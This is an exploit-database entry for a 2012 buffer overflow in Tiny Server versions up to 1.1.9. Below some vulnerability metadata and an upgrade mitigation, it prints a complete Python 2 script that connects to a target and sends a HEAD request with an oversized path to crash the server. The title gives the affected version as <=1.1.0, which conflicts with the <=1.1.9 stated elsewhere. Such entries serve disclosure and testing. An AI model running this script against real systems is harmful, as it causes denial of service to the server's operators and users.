Tiny Server - exploit.company

vendor:

Tiny Server

by:

Brock Haun

7,5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Tiny Server

Affected Version From: <=1.1.9

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: a:tinyserver:tinyserver

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows (Tested on Windows 7)

2012

Tiny Server <= 1.1.0(HTTP) HEAD request overflow

This exploit is a buffer overflow vulnerability in Tiny Server <=1.1.9 (HTTP) HEAD request. It is written in Python and is used to crash the target host by sending a crash buffer.

Mitigation:

Upgrade to the latest version of Tiny Server

Source

Exploit-DB raw data:

#!/usr/bin/python
###############################################################################
# Overflow exploiting a vulnerability in Tiny Server <=1.1.9 (HTTP) HEAD request.
# Date of Discovery: 3/19/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://tinyserver.sourceforge.net/tinyserver_full.zip
# Software Version: <=1.1.9
# Target OS: Windows (Tested on Windows 7)
###############################################################################

import httplib,sys

if (len(sys.argv) != 3):
    print '\n\t[*]Usage:  ./' + sys.argv[0] + ' <target host> <port>'
    sys.exit()

host = sys.argv[1]
port = sys.argv[2]
buffer = 'A' * 100 + 'HTTP/1.0\r\n'

print '\n[*]*************************************************'
print '[*] Tiny Server <= 1.1.0(HTTP) HEAD request overflow'
print '[*] Written by Brock Haun'
print '[*] security.brockhaun@gmail.com'
print '[*]*************************************************\n'

try:
    print '\n\t[*] Attempting connection.'
    httpServ = httplib.HTTPConnection(host , port)
    httpServ.connect()
    print '\n\t[*] Connected.'
    print '\n\t[*] Sending crash buffer.'
    httpServ.request('HEAD' , buffer)
    print '\n\t[*] Done! Target should be unresponsive!'
except:
    print '\n\t[***] Connection error. Something went wrong. :('
    
httpServ.close()
sys.exit()